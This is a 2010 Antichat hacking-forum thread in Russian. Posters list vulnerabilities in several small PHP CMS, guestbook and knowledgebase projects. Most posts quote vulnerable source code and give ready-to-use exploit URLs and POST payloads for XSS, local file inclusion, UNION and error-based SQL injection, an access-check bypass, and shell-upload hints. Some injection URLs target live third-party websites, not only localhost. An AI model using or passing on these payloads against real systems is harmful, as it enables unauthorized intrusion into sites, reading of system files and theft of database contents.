HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.01.2010, 23:38
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

SmartyCMS
http://sunet.dl.sourceforge.net/project/smartycms/smartycms/0.9.4 build 334/smartycms-0.9.4-334.zip

Passive XSS
http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&cmsUserRole=1>'><script>al ert(121212);</script>

----------------

js/tiny_mce/plugins/ibrowser/scripts/loadmsg.php
PHP код:
$l = (isset($_REQUEST['lang']) ? new PLUG_Lang($_REQUEST['lang']) : new PLUG_Lang($cfg['lang']));
$l->setBlock('ibrowser'); 
js/tiny_mce/plugins/ibrowser/langs/lang.class.php
PHP код:
function setBlock$value ) {
$this -> block $value;

function 
getLang() {
$this -> lang $value;

function 
loadData() {
global 
$cfg;
include( 
dirname(__FILE__) . '/' $this -> lang.'.php' ); 
LFI
mq=off
http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=../../../../../../../../../../boot.ini%00
аналогично
http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=../../../../../../../../../../boot.ini%00
http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=../../../../../../../../../../boot.ini%00

----------------

config/smartycms.config.php
PHP код:
// url request param name for template call
$smartycms['config']['PageCallParamName'] = 'page'
libraries/smarty-cms/Smarty_cms.php
PHP код:
        // read default template name from given url param
        
if (!$resource_name && !empty($smartycms['config']['PageCallParamName']))
          if ( !empty(
$_REQUEST[$smartycms['config']['PageCallParamName']]) )
          {
            
$page $_REQUEST[$smartycms['config']['PageCallParamName']];
            
$ext  strrchr($page'.'); 

            if(
$ext !== false$resource_name substr($page0, -strlen($ext)); else $resource_name $page;
            
            
$resource_name .= '.'.$smartycms['config']['TemplateFileExtension'];
          } 
libraries/smarty/Smarty.class.php
PHP код:
        if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0) {
            if (
$this->_is_compiled($resource_name$_smarty_compile_path)
                    || 
$this->_compile_resource($resource_name$_smarty_compile_path))
            {
                include(
$_smarty_compile_path);
            } 
LFI
mq=off
http://localhost/smartycms-0.9.4-334/index.php?page=/boot.ini%00.html

----------------
templates/handler/book_content_handler.php
PHP код:
  function book_content_handler($params, &$smarty)
  {
    global 
$smartycms;
    
// create individual chapter id
    
if (!$_GET['chapterid'] || $_GET['chapterid']=="1"$chapterid=time(); else $chapterid=$_GET['chapterid'];
    
    
// send content to template
    
$smarty->assign("chapterid",$chapterid);
    
$smarty->assign("book_chapter_id","book_chapter_".$chapterid);
    
$smarty->assign("book_content_id","book_content_".$chapterid);
  } 
templates/tutorial.tpl
PHP код:
{* Tutorial content block *}
{include 
file="modules/book_content.tpl" pid="smartycms_tutorial"}<br
templates/modules/book_content.tpl
PHP код:
{if $smarty.request.chapterid}
<
a name="start"></a>
<
div class="cms_book_headline">{cms id="$book_chapter_idtheme="singleline" pid=$pid title="edit chapter headline"}Please insert here the chapter headline{/cms}</div><br>
{
cms id="$book_content_idpid=$pid title="edit chapter content" height="250" smartytags="0"}<div class="cms_book_bodytext">Please insert here the chapter content</div>{/cms}<br><br>
{/if} 
view source
http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&chapterid=../../../../../../../../../../boot.ini
http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&chapterid=../../../../../index.php
 
Ответить с цитированием

  #2  
Старый 02.02.2010, 22:10
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

cms sabros.us
http://sourceforge.net/projects/sabrosus/files/latest

pXSS
http://localhost/sabrosus/index.php?busqueda=1<ScRiPt >alert(1212);</ScRiPt>
http://localhost/sabrosus/index.php?tag=1>"><ScRiPt>alert(1212);</ScRiPt>

------------

atom.php
PHP код:
if (isset($_GET["tag"])) {
    
$navegador strtolower$_SERVER['HTTP_USER_AGENT'] );
    if (
stristr($navegador"opera") || stristr($navegador"msie")) {
        
$tagtag utf8_decode($_GET["tag"]);
    } else {
        
$tagtag $_GET["tag"];
    }
}

$sqlStr "SELECT DISTINCT link.* FROM ".$prefix."sabrosus as link, ".$prefix."tags as tag, ".$prefix."linktags as rel WHERE";

if(isset(
$tagtag)){
    
$sqlStr .= " (tag.tag LIKE '$tagtag') AND ";
}

$sqlStr .= " (tag.id = rel.tag_id AND rel.link_id = link.id_enlace) AND link.privado = 0 ORDER BY link.fecha DESC";

if(isset(
$cuantos)){
    if(
$cuantos!='todos' && is_numeric($cuantos)){
        
$sqlStr .= " LIMIT $cuantos";
    }
    if(
$cuantos!='todos' && !is_numeric($cuantos)){
        
$sqlStr .= " LIMIT 10";
    }
} else {
    
$sqlStr .= " LIMIT 10";
}
$result mysql_query($sqlStr,$link); 
SQL
mq=off
http://localhost/sabrosus/atom.php?tag=')+union+select+1,version(),3,4,5,6+--+
User-Agent=111
 
Ответить с цитированием

  #3  
Старый 03.02.2010, 14:18
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Croogo 1.2
(Геморная маленько)
Пассивная XSS
/admin/filemanager/browse?path=%22%3E%3Cscript%3Ealert();%3C/script%3E
Сработает на админе если он авторизированный.

ps
Залить шелл легко (Права админа нужны)
/admin/attachments
Там я думаю догадаетесь.

Последний раз редактировалось Ctacok; 03.02.2010 в 14:20..
 
Ответить с цитированием

  #4  
Старый 03.02.2010, 23:13
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Imer - Site Manager 3.5.0
sourceforge.net/projects/ism-imersiteman/

path disclosure
http://localhost/imer/help/admin_common.php

--------------

divcliente.php
PHP код:
require_once './conecta.php';
require_once 
'./suporte.php';
require_once 
'./arrays.php';
if (
$oplcat == '2'){
    if (
$ople == 'E'){
        
$pg_usuario mysql_query("SELECT * FROM swb_usuarios WHERE ID = $idl LIMIT 1"); 
SQL
rg=on
http://localhost/imer/divcliente.php?oplcat=2&ople=E&idl=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,version(),34,35,36,37,38,39,40,41,42,43+--+
http://www.trudelmer.com.br/imer/divcliente.php?oplcat=2&ople=E&idl=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,version(),34,35,36,37,38,39,40,41,42,43+--+

--------------

noticia.php
PHP код:
$pg_noticias mysql_query("SELECT * FROM swb_noticias WHERE status = 'A' AND ID = $idl LIMIT 1"); 
SQL
rg=on
http://localhost/imer/noticia.php?conf_empresa=2&user=1&idl=-3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--
http://www.trudelmer.com.br/imer/noticia.php?conf_empresa=2&user=1&idl=-3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--

--------------

divhelp.php
PHP код:
require_once './conecta.php';
require_once 
'./suporte.php';
require_once 
'./arrays.php';
if (
$oplhlp == 'Y' || $oplhlp == 'N' || $oplhlp == 'R' || $oplhlp == 'L'){
    if (
$ople == 'E'){
        
$pg_userhelp mysql_query("SELECT * FROM livehelp_users WHERE username = '$login' LIMIT 1"); 
SQL
rg=on
mq=off
http://localhost/imer/divhelp.php?oplhlp=Y&ople=E&&login=hhhh'+union+sel ect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1 9,20,21,22,23,24,25,26,27,28,29,version(),31,32,33 ,34,35,36,37,38,39,40+limit+1+--+
 
Ответить с цитированием

  #5  
Старый 04.02.2010, 01:06
MaSTeR GэN
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
Провел на форуме:
305110

Репутация: 133
Отправить сообщение для MaSTeR GэN с помощью ICQ
По умолчанию

PHP - STATS
текущая версия 0.1.9.2
сайт: php-stats.com
фаил : downloads.php
условия magic_quotes_gpc = off
уязвимый код :

PHP код:
$result=sql_query("SELECT nome,descrizione,type,home,size,downloads,withinterface FROM $option[prefix]_downloads WHERE id='$id'");
..............................................................................................................
if((
$mode!='download' && $downloads_withinterface=='YES') || $errorDownload===true)
    {
         .......................................... 
                  else {
а вот собственно тут уже и имеем вывод на экран}
   { 

использование :
Код:
http://localhost/php-stats/download.php?mode=downloadd&id=999999'+union+select+1,2,2,3,4,5,"YES"+from+information_schema.tables%23
Пример для сайта производителей:
Код:
http://php-stats.com/stat/download.php?mode=downloadd&id=999999'+union+select+1,version(),2,3,4,5,"YES"%23
P.S 6й столбец должен быть обезательно задан как "YES" иначе не будет вывода
 
Ответить с цитированием

  #6  
Старый 04.02.2010, 20:34
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

GAzie - Gestione Aziendale v4.0.13
http://sourceforge.net/projects/gazie/

Finance application written in PHP using a MySql database backend for small to medium enterprise.
It lets you write invoices, manage stock, manage orders , accounting, etc.
Send tax receipt to electronic cash register.

pXSS
http://localhost/gazie/modules/root/login_admin.php
post
Login=1>'><script>alert(1212)</script>
Password=111111
actionflag=Login

----------------

modules/root/login_admin.php
PHP код:
if (isset ($_POST['actionflag'])) {
    
// checkUser();
    
$result gaz_dbi_get_row ($gTables['admin'], "Login"$_POST['Login']);
    if (!empty (
$result['lang'])){
          
$lang $result['lang'];
    } else {
          
$lang 'italian';
    }
    require(
"./lang.".$lang.".php"); 
library/include/mysql.lib.php
PHP код:
function gaz_dbi_get_row$table$fnm$fval)
{
    global 
$link;
    
$result mysql_query("SELECT * FROM $table WHERE $fnm = '$fval'"$link);
    if (!
$result) die (" Error gaz_dbi_get_row: ".mysql_error());
    return 
mysql_fetch_array$result);

SQL+LFI
mq=off
http://localhost/gazie/modules/root/login_admin.php
post
Login=111'+union+select+1,2,3,"../../../../../../../../../../boot.ini%00",5,6,7,8,9,10,11,12,13+--+
Password=111111
actionflag=Login
 
Ответить с цитированием

  #7  
Старый 05.02.2010, 23:24
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Andy's PHP Knowledgebase v0.94.2
http://aphpkb.org/


forgot_password.php
PHP код:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<p>User Name:<br /> <input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /></p>
pXSS
http://localhost/aphpkb/forgot_password.php
post username=1>"><script%20%0a%0d>alert(121212)%3B</script>

-------------------------------------------------------------

keysearch.php
PHP код:
if($_REQUEST['keyword_list']){
            
$keyword_list escdata($_REQUEST['keyword_list']); 
    } else { 
        
$keyword_list 'nothing'
    }
...
    
// If it's not the first page, make a Previous button.
    
if ($current_page != 1) {
        echo 
'<a href="keysearch.php?keyword_list=' $keyword_list '&s=' . ($start $display) . '&np=' $num_pages '">Previous</a> ';
    }
    
    
// Make all the numbered pages.
    
for ($i 1$i <= $num_pages$i++) {
        if (
$i != $current_page) {
            echo 
'<a href="keysearch.php?keyword_list=' $keyword_list '&s=' . (($display * ($i 1))) . '&np=' $num_pages '">' $i '</a> ';
        } else {
            echo 
$i ' ';
        }
    }
    
// If it's not the last page, make a Next button.
    
if ($current_page != $num_pages) {
        echo 
'<a href="keysearch.php?keyword_list=' $keyword_list '&s=' . ($start $display) . '&np=' $num_pages '">Next</a>';
    } 
pXSS
http://localhost/aphpkb/keysearch.php
post keyword_list=1<script>alert(121212)</script>

-------------------------------------------------------------

login.php
PHP код:
<p>User Name:<br /><input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /></p>
pXSS
http://localhost/aphpkb/login.php
post username=1>"><script%20%0a%0d>alert(121212)%3B</script>

-------------------------------------------------------------

q.php
PHP код:
    $articledatae escdata(xss_clean($_POST['article']) );    
...

$articledata stripslashes($articledatae);

echo 
'<p>Article Details</p>';

echo 
"<p>Question:<br />$articledata</p>"
pXSS
http://localhost/aphpkb/q.php
post article=1<div+style+STYLE="width:expression(alert( 121212))%3B">&aid=111&submit=Submit%20Question

-------------------------------------------------------------

register.php
PHP код:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<p>First Name:<br /> <input type="text" name="first_name" size="15" maxlength="15" value="<?php if (isset($_POST['first_name'])) echo $_POST['first_name']; ?>" /></p>
<p>Last Name:<br /> <input type="text" name="last_name" size="30" maxlength="30" value="<?php if (isset($_POST['last_name'])) echo $_POST['last_name']; ?>" /></p>
<p>Email Address:<br /> <input type="text" name="email" size="40" maxlength="40" value="<?php if (isset($_POST['email'])) echo $_POST['email']; ?>" /> </p>
<p>User Name:<br /> <input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /> <small>Use only letters, numbers, and the underscore. Must be between 4 and 20 characters long.</small></p>
pXSS
http://localhost/aphpkb/register.php
post first_name=1>"><script%20%0a%0d>alert(121212)%3B</script
post last_name=1>"><script%20%0a%0d>alert(121212)%3B</script>
post email=1>"><script%20%0a%0d>alert(121212)%3B</script>
post username=1>"><script%20%0a%0d>alert(121212)%3B</script>

-------------------------------------------------------------

saa.php
PHP код:
$articledatae escdata(xss_clean($_POST['article']) );    
...
$articledata stripslashes($articledatae);

echo 
'<p>Article Details</p>';
if(
$titlee) { echo "<p>Title:  $titlee</p>"; }
echo 
"<p>Article:<br />$articledata</p>"
pXSS
http://localhost/aphpkb/saa.php
post article=1<div+style="width:expression(alert(121212 ))%3B">
 
Ответить с цитированием

  #8  
Старый 06.02.2010, 23:16
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Angora Guestbook v1.2.1
http://sourceforge.net/projects/aguestbook/

index.php
PHP код:
// Language settings
$langName secureVar($_GET['l'], 'html');

if (! empty(
$langName))
    
$_SESSION['langName'] = $langName;

if (empty(
$_SESSION['langName']))
    
$langName $config['guestbookLang'];
else
    
$langName $_SESSION['langName'];

@include_once 
"languages/" $langName "/frontend.php"
classes/functions.php
PHP код:
function secureVar($var$type) {
    global 
$con;
    switch (
$type) {
        case 
'sql' :
            if (
get_magic_quotes_gpc())
                
$var stripslashes($var);
            if (
function_exists("mysql_real_escape_string"))
                
$var mysql_real_escape_string($var);
            else
                
$var addslashes($var);
            break;
        case 
'html' :
            
$var htmlspecialchars($varENT_QUOTES);
            break;
        default :
            if (
get_magic_quotes_gpc())
                
$var stripslashes($var);
            if (
function_exists("mysql_real_escape_string"))
                
$var mysql_real_escape_string($var);
            else
                
$var addslashes($var);
    }
    return 
$var;

LFI
mq=off
http://localhost/angora_1_2_1/guestbook/index.php?l=../../../../../../../../boot.ini%00

------------------------

admin/includes/content/phpinfo.php
PHP код:
if (@$magic != "0xDEADBEEF")
    die(
"This file cannot be executed directly");
    
    if (
base64_decode($_SESSION['privilege']) != 1) {
        
$error = new Error($lang['noPermission']);
        die(
$error->showError());
    }
    
    
ob_start();
    
phpinfo(); 
phpinfo
http://localhost/angora_1_2_1/guestbook/admin/includes/content/phpinfo.php?magic=0xDEADBEEF&_SESSION[privilege]=MQ==
 
Ответить с цитированием

  #9  
Старый 07.02.2010, 17:10
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Продукт: mycroCMS
Сайт: http://sourceforge.net/projects/mycrocms/
Path diclosing
Код:
http://localhost/mycrocms/?entry_id='
LFI

Участок кода в /admin/admin.php:
PHP код:
if ($admin=="error"){
    include (
"error.php");
}elseif (
$userManager->isLoggedIn()) {
    if (
$admin == "") {
        include (
"dashboard.php");
    } else {
        if (
file_exists("admin/$admin.php")) {
            include (
"admin/$admin.php");
        } else {
            die(
"File admin/$admin.php does not exist!");
        }
    }
    
$userManager->setLastTime(time());
} else {
    
        if (
$admin == "") {
            include (
"dashboard.php");
        } else {
            if (
file_exists("admin/$admin.php")) {
                include (
"admin/$admin.php");

            } else {
                die(
"File admin/$admin.php does not exist!");
            }
        }
        
$userManager->setLastTime(time());
    
    
    

Отсюда инклуд. Эксплуатация:
Код:

http://localhost/mycrocms/?admin=../../../../../../etc/passwd%00
(права админа не нужны)
SQL-Injection

magiq_quotes=Off
Смотрим в \include\Categories.php:
PHP код:
function get_category_by_id($id) {
    global 
$sql$categories;

    
// use array if preloaded
    
if (is_array($categories)) {
        
$res array_search_recursive('category_id'$id$categories);

    }

    if (!
is_array($res[0])) {

        
$res $sql->read('categories''category_id'$id);
    }
    return 
$res[0];

Теперь ищем метод read в классе sql. Весь код кидать не буду, но фильтрации там нет.
PHP код:
        $sql "SELECT * FROM `$tablep` " $where $order $limit;

        
$result mysql_query($sql); 
Пример эксплуатации:
Код:

http://localhost/mycrocms/?cat_id=1'+and+row(1,1)%3E(select+count(*),concat(version(),0x3a,floor(rand()*2))

+x+from+mysql.user+group+by+x+limit+1)+and+'a'='a
Code Execution

Заливка шелла в админке. Идём в меню Plugins, там есть стандартный плагин second для редактирования шаблонов (а на деле - любых

файлов). Активируем его, затем идём на http://localhost/mycrocms/?plugin=second&page=themes и редактируем любой файл.
 
Ответить с цитированием

  #10  
Старый 08.02.2010, 10:26
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

Pyrophobia CMS
Product : http://sourceforge.net/projects/pyrophobia/
Version : Pyrophobia CMS 2.1.3.1

Active XSS
1. Forum -- заходим в форум -- отправляем сообщение с текстом ( "><script>alert("xss");</script> )
2. PM -- Send User a PM -- отправляем текст ( '"/><script>alert("xss");</script> )

SQL injection

MySQL Version : 5.0.45 ---
Код:
http://localhost/[version]/?act=downloads/browsecategory&cat=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
Код:
http://localhost/[version]/index.php?act=UCP&CODE=02&mssg=3'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
На данном движке их много

LFI
milw0rm
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ